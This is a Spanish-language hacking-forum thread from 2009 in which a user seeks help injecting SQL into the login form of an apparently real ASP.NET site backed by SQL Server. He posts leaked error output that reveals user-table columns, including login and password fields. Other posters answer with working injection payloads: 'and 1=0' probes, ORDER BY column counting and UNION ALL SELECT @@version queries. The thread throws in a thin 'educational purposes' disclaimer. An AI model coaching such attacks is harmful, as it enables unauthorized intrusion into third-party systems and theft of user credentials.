inyeccion sql?????

Iniciado por leo17, 3 Julio 2009, 21:05 PM

0 Miembros y 1 Visitante están viendo este tema.

leo17

tengo un problema al intentar una inyeccion sql tengo los nombres de las tablas pero estoy barado en lo siguiente.

      'union select @@version --

y me manda lo siguiente: "All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists", entonces lo que prosigue por supuesto es igualar el numero de expresiones que solicita, y voy agregando uno por uno hasta llegar al indicado:

      'union select @@version,1,1,1,1,1,1 --

igual  me dice que necesito igual el numero de expresiones pero ya he intentado con demasiados 1 jejejej y la verdad no se que hacer, hubiese algun otro metodo de obtener esa info ok
gracias.

ahhh es por fines educativos por supuesto...

[{O_o}]

bueno seria bueno  que tratara de ver que base dato esta corriendo
primero pero para saber mas o menos usa
ejmplo
.php?id=1' order by 1--
.php?id=1' order by 1/*

solo ve cambiando el 1 por 2 3 cuatro hasta que tengas el error.

si necesitas mas ayuda solo deja saber.

fede_cp

Primero que nada te fijaste si era vulnerable, despues revisa los tutoriales, que hay bastantes.
para ver si es vuln : php?id=1+and+1=0
si la pagina sigue igual no lo es, en cambio si se borran los datos si lo es

pd: no seria asi:  'union select @@version,1,1,1,1,1,1 --
primero tenes que saber cuantas columnas tiene y ademas asi queda mejor: union+all+select @@version,1,2,3,4,5 --

saludos
somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!

WHK

Claro, realmente lo que necesitas ya se dijo aunque puede ser por esas remotas casualidades de la vida que hayan eliminado la variable que guarda la versión de la base de datos y al devolver un valor nulo te puede estar diciendo que la cantidad de valores debueltos no coincide con la cantidad de columnas ol valores necesarios, puede ser pero es muy dificil... como dicen es mejor que verifiques primero si puedes inyectar ese tipo de cosas viendo si tiene algún tipo de filtro o intentando ver la cantidad de columnas con order by.

Intenta leer esto para que puedas tener una idea mas clara.
http://foro.elhacker.net/nivel_web/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.15.html

leo17

bueno mi conocimiento es bien basico sobre sql, asi que disculpen algunos errores que pueda tener en mi explicacion.
en primer lugar la pagina esta desarrollada en asp.net bajo un IIS 6.0
una pagina de login con un simple formulario de login a password ok.
asi que no se si puediera introducir los datos desde la barra de dirrecciones como he visto muchos ejemplos, al moverse sobre esta pagina no muestra ninguna variacion en la barra de direcciones osea como ejemplo:
index.php?id=0
todo trabaja bajo el modo POST.
se que es vulnerable por que al introducir una simple comilla en el login me sale lo siguiente:

logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: Comilla no cerrada antes de la cadena de caracteres '' and usr_status = 1'.. 1429

con un 'having 1=1-- en el username me devuelve el nombre de un campo
que son los siguientes usando despues el 'group by sucesivamente


.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.agd_codigo' de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.. 1429

.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_login' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429

.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_clave' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429

.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_status' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429

.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.nvl_codigo' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429

.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_codigo' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429

.logear c:\xxx\usuario.prg Error en la línea 197 Código de excepción OLE IDispatch 0 de Microsoft OLE DB Provider for SQL Server: La columna 'usuarios.usr_descripcion' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.. 1429

despues de todo esto me devuelve un error esto debe ser por es el ultimo campo no??

ahora donde me he quedado barado ha sido en el famoso.
'union select @@version,1,1,1,1,1,1 --
que deberia ser 7 no????
gracias.

fede_cp

leo17, en el tutorial http://foro.elhacker.net/nivel_web/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.15.html esta explicado muy bien la parte para sacar la version de la base de datos, el nombre, y como ya te dijimos tenes que primero sacar el numero de columnas haciendo en el code : ej, -1 order by 1-- y asi hasta llegar a donde te de error, ej -1 order by 9-- , si ahi te da error entonces tiene 8 columnas y para ver donde imprimir datos :
-1 union+all+select 1,2,3,4,5,6,7,8-- , lee el tutorial primero y despues pregunta!!  :silbar:


un saludo
somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!